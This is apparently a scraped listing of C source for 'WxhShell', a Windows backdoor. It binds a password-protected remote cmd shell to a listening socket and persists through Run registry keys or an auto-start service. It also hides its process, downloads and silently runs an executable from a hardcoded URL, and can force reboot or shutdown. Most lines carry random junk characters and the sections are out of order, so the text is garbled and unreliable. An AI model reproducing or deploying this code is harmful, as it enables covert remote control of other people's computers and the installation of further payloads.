    if(Boot(REBOOT)) =@MJEo`D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iT</  
    else { RIFTF R  
    closesocket(wsh); LPkl16yZ  
    ExitThread(0); |^gnT`+  
    }  Bm&6  
    break; ;t4YI7E*  
    } `?SLp  
  // 关机 ]vH:@%3U  
  case 'd': { &,$N|$yK}|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ra^"Vr  
    if(Boot(SHUTDOWN)) Jl ?_GX}ZY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^(7Qz&q  
    else { p-,Bq!aG$  
    closesocket(wsh); *Z3b6X'e  
    ExitThread(0); /$|-!e<5b\  
    } o>HGfr,N  
    break; |q Pu*vR  
    } jH37{S-  
  // 获取shell eCG{KCM~_Z  
  case 's': { mnU8i=v0 A  
    CmdShell(wsh); p+${_w>pl{  
    closesocket(wsh); euET)Ccq  
    ExitThread(0); b T** y?2  
    break; cpphnGj5  
  } p,7?rI\N  
  // 退出 ~\ v"xV  
  case 'x': { WpC9(AX5g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q<4{&omUJ  
    CloseIt(wsh); }bnodb^.7  
    break; ?)7UqVyq  
    } 'AZxR4W  
  // 离开  J {$c|  
  case 'q': { kT:?1w'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a?*pO`<J{  
    closesocket(wsh); >C`#4e?}  
    WSACleanup(); i_av_I-  
    exit(1); mBQpf/PG  
    break; _Zxo <}w}y  
        } 8qoA5fW>  
  } r"dR}S.Uf  
  } ?h,.1Tb  
8[:G/8VI  
  // 提示信息 nY,LQ0r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P[jh^!<j  
} =)J<R;  
  } Bq tN=  
x\YVB',h  
  return; SZvC4lOn#  
} chM-YuN|  
cvYKZB  
// shell模块句柄 WZ UeW*#=  
int CmdShell(SOCKET sock) N:,V{Pw  
{ 8tzL.P^  
STARTUPINFO si; l|M|;5TW  
ZeroMemory(&si,sizeof(si)); E CPSE {  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "e/"$z'ca  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9fsc>9  
PROCESS_INFORMATION ProcessInfo; SBY0L.  
char cmdline[]="cmd"; =nlj|S ~3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =>7czw:S 1  
  return 0; BRv#`  
} !$<Kp6  
$SfY<j,R  
// 自身启动模式 >]2^5C;  
int StartFromService(void) #;UoZJ B  
{ P@Vs\wAT  
typedef struct kRH D{6mol  
{ 5Hs !s+  
  DWORD ExitStatus; v+CW([zAx#  
  DWORD PebBaseAddress; ACF_;4%&  
  DWORD AffinityMask; MI~Q Xy,  
  DWORD BasePriority; ^UyN)eX  
  ULONG UniqueProcessId; ^[v>B@p*{  
  ULONG InheritedFromUniqueProcessId; \!k\%j 9  
}   PROCESS_BASIC_INFORMATION; p$<){,R  
7r pTk&`  
PROCNTQSIP NtQueryInformationProcess; |WW'qg]Uu  
Me^L%%: @  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E&Sr+D aPD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?XVox*6K&  
o@YEd d  
  HANDLE             hProcess; S}K-\[i?  
  PROCESS_BASIC_INFORMATION pbi; WrR8TYq9D]  
\p)eY#A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ][~rk?YY  
  if(NULL == hInst ) return 0; 51'V[tI;8  
h9 rrkV9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); " pL5j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u3HaWf3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Apkb!"}>  
~-~iCIaTb  
  if (!NtQueryInformationProcess) return 0; (AHTv8  
1119YeL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WctGhGH  
  if(!hProcess) return 0; \]Rmq_O  
>jc17BJq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !ce,^z&5  
%}{.U  
  CloseHandle(hProcess); ictOC F  
_;-b ZH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (dym*_J  
if(hProcess==NULL) return 0; ^L'<%_# .  
u#0EZ2 >#  
HMODULE hMod; j0S[JpoF  
char procName[255]; ZOL#Q+U  
unsigned long cbNeeded; 1c`Yn:H^  
Ua+Us"M3}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >8injW3 52  
 8vUq8[[  
  CloseHandle(hProcess); "p&4Sn3T2?  
Dj w#{WR  
if(strstr(procName,"services")) return 1; // 以服务启动 W;8}`k  
s_6Iz^]I  
  return 0; // 注册表启动 H#QPcp@  
} Bc}e ??F  
Sbj{)  
// 主模块 x^ sTGd  
int StartWxhshell(LPSTR lpCmdLine) lsVg'k/Z!  
{ ] .c$(.  
  SOCKET wsl; qwo{34  
BOOL val=TRUE; ^0 /!:*?  
  int port=0; 1["IT.,f.  
  struct sockaddr_in door; 'he&h4fm  
x!UGLL]_M  
  if(wscfg.ws_autoins) Install(); ?)4c!3#  
Q>\9/DjUp  
port=atoi(lpCmdLine); 0|?DA12Z  
QW&@>i  
if(port<=0) port=wscfg.ws_port; t s=+k/Z  
r7v 1q  
  WSADATA data; > Cx;h=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _Tf0L<A'R  
q_:B=w+bC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -J++b2R\%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EyV6uk~  
  door.sin_family = AF_INET; 1(4IcIR5T;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r D|Bj(X8  
  door.sin_port = htons(port); +VHo YEW  
`~LaiN.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }k6gO0z  
closesocket(wsl); 1VG7[#Zy  
return 1; do@BJWo  
} @FuX^Q.[  
<2PO3w?Z  
  if(listen(wsl,2) == INVALID_SOCKET) { C6:; T%  
closesocket(wsl); ra{HlB{  
return 1; >orDw3xC  
} {^Q1b.=  
  Wxhshell(wsl); xQ8?"K;iX  
  WSACleanup(); \eS-wO7%  
_({K6adb  
return 0; 0EUC8Ni  
1$uO%  
} 9K#U<Q0b'  
)7iYx{n  
// 以NT服务方式启动 @. KFWAm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fMZc_dsW9  
{ C-VkXk  
DWORD   status = 0; }_cX" s  
  DWORD   specificError = 0xfffffff; .T7S1C $HP  
wTVd){q`.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -[>G@m:?e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5i&+.?(Z=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WSV% Oy3V  
  serviceStatus.dwWin32ExitCode     = 0; ~`VD}{[,B  
  serviceStatus.dwServiceSpecificExitCode = 0; =%d0MZD  
  serviceStatus.dwCheckPoint       = 0; W sDFui  
  serviceStatus.dwWaitHint       = 0; Ndqhc  
W$u/tRF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3?yq*uE}  
  if (hServiceStatusHandle==0) return;  .KE2sodq  
c+]5[6  
status = GetLastError(); +q)B4A'J!  
  if (status!=NO_ERROR) EP]OJ$6I  
{ l1}HJmom  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o%?~9rf]]  
    serviceStatus.dwCheckPoint       = 0; M\bea  
    serviceStatus.dwWaitHint       = 0; 8f-B-e?k  
    serviceStatus.dwWin32ExitCode     = status; RQd5Q.  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~@EBW3>~5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rs1JCP=d8  
    return; O:te;lQ K  
  } #Pq.^ ^  
Z$ Mc{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tg#%5~IX  
  serviceStatus.dwCheckPoint       = 0; 2ee((vO&  
  serviceStatus.dwWaitHint       = 0; x '`L( C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y1U\VU  
} sqk$q pV6  
,2^zX]dgM  
// 处理NT服务事件,比如:启动、停止 (ysDs[? \  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7Dwf0Re`  
{ jxA*Gg3cT5  
switch(fdwControl) c^BeT;  
{ X5Ff2@."y|  
case SERVICE_CONTROL_STOP: K7gqF~5x~  
  serviceStatus.dwWin32ExitCode = 0; N+0`Jm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <!.Qn Y  
  serviceStatus.dwCheckPoint   = 0; 5SmgE2}  
  serviceStatus.dwWaitHint     = 0; 1N\-Ku  
  { 9N{"ob Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &io*pmUm6  
  } -S *MQA4  
  return; @1G`d53N  
case SERVICE_CONTROL_PAUSE: D*o[a#2_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8i?h{G IMV  
  break; h**mAa0fo  
case SERVICE_CONTROL_CONTINUE: FQ6{NMz,h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gIaPS0Q  
  break; =[V  
case SERVICE_CONTROL_INTERROGATE: Z\P&i#  
  break; 9x[|75}l  
}; rD SUhO{V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IBe0?F #  
} 334tg'2]  
00(#_($  
// 标准应用程序主函数 5_ioJ   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #u6ZCv7u  
{ LzJNQd'  
:p,DAt}  
// 获取操作系统版本 8t Ef>  
OsIsNt=GetOsVer(); ?g #4&z.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =f{YwtG  
{`CmE/`{  
  // 从命令行安装 &nEQ `3~F  
  if(strpbrk(lpCmdLine,"iI")) Install(); by%k*y  
Cz1o@ rt  
  // 下载执行文件 %O_Ed {G4t  
if(wscfg.ws_downexe) { N8w@8|KM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w0N8a%  
  WinExec(wscfg.ws_filenam,SW_HIDE); e4?p(F-x(  
}  ] cY  
*/yR _f  
if(!OsIsNt) { 4w-P%-4  
// 如果时win9x,隐藏进程并且设置为注册表启动 9Wi+7_)  
HideProc(); jFMf=u&U  
StartWxhshell(lpCmdLine); +XN/ bT  
} b".e6zev  
else WF0[/Y  
  if(StartFromService()) A('_.J=  
  // 以服务方式启动 O*zF` 9  
  StartServiceCtrlDispatcher(DispatchTable); nI6[y)j  
else *ioVLt,:R  
  // 普通方式启动 j9Y'HU5"  
  StartWxhshell(lpCmdLine); &DgJu.  
qC aM]Y  
return 0; kan4P@XVS  
} m6=Jp<  
=ADdfuKN  
L 2:N@TP  
RTR@p =ck  
=========================================== )w3HC($g  
5L8)w5   
 zL,B?  
Us*"g{PQ  
^|0>&sTHOH  
!Cv:,q  
" I>L@ P`d  
Lw!Q*3c  
#include <stdio.h> 7 -Yn8Gq  
#include <string.h> RY]Vo8  
#include <windows.h> ;_vo2zl1  
#include <winsock2.h> 7v^V]&&s  
#include <winsvc.h> ~)\E&c  
#include <urlmon.h> nm597WeZp  
8hx 3pvmk  
#pragma comment (lib, "Ws2_32.lib") E)=X8y  
#pragma comment (lib, "urlmon.lib") [nnX,;  
j[Xc i<m  
#define MAX_USER   100 // 最大客户端连接数 Y]R;>E5o|  
#define BUF_SOCK   200 // sock buffer 3l8k O  
#define KEY_BUFF   255 // 输入 buffer :>'4@{'   
{a `#O9  
#define REBOOT     0   // 重启  ,m-/R  
#define SHUTDOWN   1   // 关机 D7"RZF\)  
YzD6S*wb  
#define DEF_PORT   5000 // 监听端口 {KO +t7'Q  
PLmf.hD\  
#define REG_LEN     16   // 注册表键长度 )D1=jD(  
#define SVC_LEN     80   // NT服务名长度 uNn]hl|x  
.}.63T$h9  
// 从dll定义API 5, <:|/r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Q XS?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ucVn `  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9M&uQccY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qrtA'fU  
WKB8k-.]ww  
// wxhshell配置信息 }dt7n65  
struct WSCFG { 6 -\ghPo  
  int ws_port;         // 监听端口 Fl'+ C  
  char ws_passstr[REG_LEN]; // 口令 sC=fXCGW\p  
  int ws_autoins;       // 安装标记, 1=yes 0=no  #nS  
  char ws_regname[REG_LEN]; // 注册表键名 jZ8#86/#{  
  char ws_svcname[REG_LEN]; // 服务名 1hQeuG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tb@&!a$`?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .;&1"b8G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 psHW(Z8G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oMj;9,WK'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JNYFu0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C;&44cU/]  
/v,H%8S  
}; ~J Xqyw}  
p+F{iMC  
// default Wxhshell configuration 3:;2Av2(X.  
struct WSCFG wscfg={DEF_PORT, j\Z/R1RcW  
    "xuhuanlingzhe", 9. 7XRxR^  
    1, )j[rm   
    "Wxhshell", *mgK^9<  
    "Wxhshell", wwtk6;8@  
            "WxhShell Service", i9FHEu_  
    "Wrsky Windows CmdShell Service", [e:mRMi  
    "Please Input Your Password: ", P{-f./(JD  
  1, FB-_a  
  "http://www.wrsky.com/wxhshell.exe", .Y"H{|]Mnh  
  "Wxhshell.exe" ,%FBELqOW  
    }; P,ox) )+6  
y~cDWD <h  
// 消息定义模块 *Q@%< R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^mu?V-4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >lRa},5(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _k,/t10  
char *msg_ws_ext="\n\rExit."; ^\X-eeA  
char *msg_ws_end="\n\rQuit."; Yb<t~jm  
char *msg_ws_boot="\n\rReboot..."; I<'wZJRRa  
char *msg_ws_poff="\n\rShutdown..."; Y GZX}-  
char *msg_ws_down="\n\rSave to "; `6.rTs $<  
Wy2 pa #Q  
char *msg_ws_err="\n\rErr!"; ;&N;6V"}  
char *msg_ws_ok="\n\rOK!"; ];.H]TIc6  
Xy>+r[$D:  
char ExeFile[MAX_PATH]; R0n# FL^E  
int nUser = 0; 8p?Fql}F [  
HANDLE handles[MAX_USER]; %z(nZ%,Z  
int OsIsNt; -}B&>w,5  
@} 61D  
SERVICE_STATUS       serviceStatus; F .(zS(q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;eG,T-:  
L %[om c?  
// 函数声明 u H}cvshv  
int Install(void); wi]F\ q"Y^  
int Uninstall(void); :CQ-?mT^LA  
int DownloadFile(char *sURL, SOCKET wsh); _dT,%q  
int Boot(int flag); W+&w'~M  
void HideProc(void); k|^e=I   
int GetOsVer(void); m{/?6h 1  
int Wxhshell(SOCKET wsl); b|cUKsL5  
void TalkWithClient(void *cs); ng-g\&-  
int CmdShell(SOCKET sock); z]NzLz9VfL  
int StartFromService(void); V'";u?h#S  
int StartWxhshell(LPSTR lpCmdLine); |g3a1El  
F0O/SI(cA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a| *{BlY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ov{  
w!0`JPu  
// 数据结构和表定义 ZE())W"  
SERVICE_TABLE_ENTRY DispatchTable[] = wgK:^D P  
{ 6w d0"  
{wscfg.ws_svcname, NTServiceMain}, !z !R)6  
{NULL, NULL} Sc!{ o!9\  
}; qjsS2,wM  
[dK5kO  
// 自我安装 0u]!C"VX  
int Install(void) Xgge_`T9  
{ ] Fx9!S  
  char svExeFile[MAX_PATH]; -/>SdR$D7  
  HKEY key; 88)F-St  
  strcpy(svExeFile,ExeFile); io[$QTY  
iUv#oX H  
// 如果是win9x系统,修改注册表设为自启动 rKR2v (c  
if(!OsIsNt) { !+;'kI2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X\r?g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q0)6 2[cMm  
  RegCloseKey(key); HMQi:s7%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q1Ja*=r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?h;Zdv>`xz  
  RegCloseKey(key); ~bp^Q| wM  
  return 0; jpl"KN?X  
    } CH6^;.  
  } fa7I6 i  
} Pd99vq/  
else { w&eX)!  
[MmOPm}@  
// 如果是NT以上系统,安装为系统服务 kxJ! #%w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d]JiJgfa%  
if (schSCManager!=0) %1uY  
{ hrpql_9.  
  SC_HANDLE schService = CreateService pXfg{2  
  ( 2qY`*Y.2  
  schSCManager, ,\ y)k}0lH  
  wscfg.ws_svcname, qRXb 9c  
  wscfg.ws_svcdisp, ]-Z="YPY  
  SERVICE_ALL_ACCESS, _;] 3w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X~DI d  
  SERVICE_AUTO_START, H\OV7=8  
  SERVICE_ERROR_NORMAL, S H"e x,=  
  svExeFile, ^f:oKKaAW;  
  NULL, (x{6N^J.t  
  NULL, l-Hp^|3Wq  
  NULL, ggr\nY  
  NULL, PVGvjc  
  NULL pDGX$1O"  
  ); X>C l{.  
  if (schService!=0) B|Y6;4?  
  { (mHCK5  
  CloseServiceHandle(schService); 1m*fkM#  
  CloseServiceHandle(schSCManager); dqU bJc]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0XCtw6  
  strcat(svExeFile,wscfg.ws_svcname); $ e<&7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i ez@j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -^m]Tb<u  
  RegCloseKey(key); 29(s^#e8A  
  return 0; c$.h]&~dN  
    } H pHXt78  
  }  FSaCbs(  
  CloseServiceHandle(schSCManager); VCzmTnD  
} VTOZ #*f  
} fVlTsc|e  
n\f8%z  
return 1; s2-`}LL  
} xXpeo_y'  
{&_1/  
// 自我卸载 ,/O,j SRk  
int Uninstall(void) czMThm  
{ G j6(ycaS  
  HKEY key; lkNaSz[  
mM| 313  
if(!OsIsNt) { FOB9J.w4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D$W&6'  
  RegDeleteValue(key,wscfg.ws_regname); 26yjQ  
  RegCloseKey(key); x>5"7MR`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /&g5f4[|p  
  RegDeleteValue(key,wscfg.ws_regname); *~~&*&+  
  RegCloseKey(key); 2R:I23[#B  
  return 0; ^l}Esz`-M  
  } N=e-"8  
} dg9 DBn#  
} 8lAs~c  
else { }P8@\2@=T  
;Kq/[$~0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {\!_S+}{  
if (schSCManager!=0) 3urL*Fw,  
{ %:bTOw[4r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U$; FOl  
  if (schService!=0) AV"fOK;#A  
  { v%_5!SR  
  if(DeleteService(schService)!=0) { Tx)X\&ij&  
  CloseServiceHandle(schService); zJE$sB.f  
  CloseServiceHandle(schSCManager); Bvke@|]kW  
  return 0; F!FXZht$P  
  } 1bW[RK;GE  
  CloseServiceHandle(schService); =|)W#x9=  
  } N# o" W  
  CloseServiceHandle(schSCManager); DA)mkp  
} <ob+Ano$  
} t{\,vI  
Q~R7]AyR  
return 1; S GAu.8Js  
} )<w`E{q  
Lq#>N_72W0  
// 从指定url下载文件 g<,kV(_7  
int DownloadFile(char *sURL, SOCKET wsh) [yzDa:%  
{ T~shJ0%  
  HRESULT hr; ~&>|u5C*@  
char seps[]= "/"; Rj&V~or  
char *token; ]JQ';%dne  
char *file; 2hOr#I$/  
char myURL[MAX_PATH]; yH\z+A|  
char myFILE[MAX_PATH]; E^uWlUb{  
iOCx7j{BS  
strcpy(myURL,sURL); 5(@P1Bi  
  token=strtok(myURL,seps); }yde9b?F  
  while(token!=NULL) >heFdKq1  
  {  nwH'E  
    file=token; ]#n,DU}V  
  token=strtok(NULL,seps); nJ !`^X5I  
  } qA4w*{JN  
W0vdU;?%  
GetCurrentDirectory(MAX_PATH,myFILE); (E'f'g  
strcat(myFILE, "\\"); Ne^md  
strcat(myFILE, file); o.qeF4\d6  
  send(wsh,myFILE,strlen(myFILE),0); <k2Qcicy  
send(wsh,"...",3,0); dl:uI5]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EeW%5/;  
  if(hr==S_OK) 4%h@K(iN  
return 0; qT( 3M9!  
else Jvysvi{8  
return 1; ,j{$SuZ M  
J|k~e,C  
} jOuz-1x,&  
}R.<\  
// 系统电源模块 _1D'9!+   
int Boot(int flag) p=T,JAIt  
{ Ol8ma`}Nq3  
  HANDLE hToken; j5lSu~  
  TOKEN_PRIVILEGES tkp; nl9G1Sm(E  
N7A/&~g5L  
  if(OsIsNt) { tvH{[e$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X{SD3j=G#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /b*VFA/75  
    tkp.PrivilegeCount = 1; 6qsT/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JJL#Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FKU$HQw*  
if(flag==REBOOT) { [[{y?-U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tx=~bm"*?  
  return 0; wO6`Ap t1:  
} Etk`>,]Y>y  
else { zY@|KV"^r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1b)^5U ;  
  return 0; :OC`X~}Rc  
} '%&i#Eb  
  } q4)8]Y2  
  else { V#!ftu#c?  
if(flag==REBOOT) { \ "193CW!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vj^<V|=  
  return 0; e<_p\LiOS  
} ocwh*t)<k  
else { wIi_d6?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2=pVX  
  return 0; )*[3Imq/  
} ^MPl wx  
} Og8:  
h#K863  
return 1; :'-FaGy  
} vas   
Xj:?V;  
// win9x进程隐藏模块 ]d]tQPEU  
void HideProc(void) D'y/ pv}!  
{ 5;=,BWU  
I2JE@?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &M$s@FUY  
  if ( hKernel != NULL ) O9>& E;`5  
  { (;^VdiJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )M5:aSRz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kFPZ$8e  
    FreeLibrary(hKernel); Xrpzc~(  
  } +R}(t{b#  
y:Ycn+X.  
return; o g.LD7&/  
} Fwn4c4-%  
wpw~[xd  
// 获取操作系统版本 SOo/~ giz|  
int GetOsVer(void) C!N&uNp@s  
{ f]F]wg\_f  
  OSVERSIONINFO winfo; {5}UP@h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n,eO6X 4  
  GetVersionEx(&winfo); 0*?~I;.2m$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q=8I0E&q  
  return 1; yw'b^D/  
  else IZ /Md@C  
  return 0; y"= j[.  
} OA#AiQUR  
mgeNH~%m@*  
// 客户端句柄模块 = E'\  
int Wxhshell(SOCKET wsl) g0w<vD`<g  
{ $0rSb0[  
  SOCKET wsh; W2Y%PD9a  
  struct sockaddr_in client; XjpFJ#T*$A  
  DWORD myID; AtNu:U$  
e-Z+)4fH  
  while(nUser<MAX_USER) J[fjl 6p  
{ ^7Q}W#jy  
  int nSize=sizeof(client); lUXxpv1m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U[9`:aV;  
  if(wsh==INVALID_SOCKET) return 1; aagN-/mgm  
Cs$wgm*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =VkbymIZ4y  
if(handles[nUser]==0) OZdiM&Zss  
  closesocket(wsh); gf6<`+/  
else D6!`p6r+  
  nUser++; HpI[Af}l  
  } mq@2zE`.(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @D%H-X  
< \]o#w*:  
  return 0; xcO Si>  
} F$Q( 2:w  
WlnmW(uahW  
// 关闭 socket 3P C'P2  
void CloseIt(SOCKET wsh) )+2GF0%  
{ =\7o@ 38  
closesocket(wsh); f,Vj8@p)x  
nUser--; FJl#NOp&  
ExitThread(0); %<%ef+*  
} xcfEL_'o  
l0Wp%T  
// 客户端请求句柄 "#x<>a )O\  
void TalkWithClient(void *cs) WXP=U^5Si  
{ ?.#?h>MS{s  
M{$EJS\d=  
  SOCKET wsh=(SOCKET)cs; d *ch.((-  
  char pwd[SVC_LEN]; >pjmVl w?  
  char cmd[KEY_BUFF]; >x0"gh  
char chr[1]; 1au1DvH  
int i,j; "\bbe@  
*"#62U6  
  while (nUser < MAX_USER) { fvKb0cIx]  
nff&~lwhZ  
if(wscfg.ws_passstr) { F)KUup)gc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9u";%5 4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E!;giPq*n  
  //ZeroMemory(pwd,KEY_BUFF); Iy8>9m'5  
      i=0; D}59fWz@  
  while(i<SVC_LEN) { !P7&{I,e  
cOa.]Kk  
  // 设置超时 Wi_5.=  
  fd_set FdRead; B '\^[  
  struct timeval TimeOut; Y3G$(+i8  
  FD_ZERO(&FdRead); ]MJyBz+k  
  FD_SET(wsh,&FdRead); HIP6L,$  
  TimeOut.tv_sec=8; KWIH5* AM  
  TimeOut.tv_usec=0; n@[&SgZq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <oG+=h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q6'3-@%  
NqcmjHvy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); in_~,fd  
  pwd=chr[0]; !|K~)4%rj  
  if(chr[0]==0xd || chr[0]==0xa) { MJS4^*B\1  
  pwd=0; /7#KkMg  
  break; `HXP*Bp#  
  } [*ylC,w  
  i++; jO\29(_  
    } =pQA!u]QE  
*x3";%o  
  // 如果是非法用户,关闭 socket 42mi 7%f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4G;FpWQm  
} [|PVq#(  
x]|8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .8[B }S(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uKF?UXc  
HlEp Dph%  
while(1) { e<s56<3j  
1'tagv?  
  ZeroMemory(cmd,KEY_BUFF); -:IG{3fnu  
],vUW#6$N  
      // 自动支持客户端 telnet标准   6B 4Sd  
  j=0; ^mr#t #[e  
  while(j<KEY_BUFF) { 9B &QY 2v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0MDdcjqw  
  cmd[j]=chr[0]; K r $R"  
  if(chr[0]==0xa || chr[0]==0xd) { )%'Lm  
  cmd[j]=0; AA&398F  
  break; ncS.~F  
  } b(wzn`Z%Et  
  j++; ]nE_(*w  
    } m~Q]#r  
=Ly7H7Q2  
  // 下载文件 kgfOH.P  
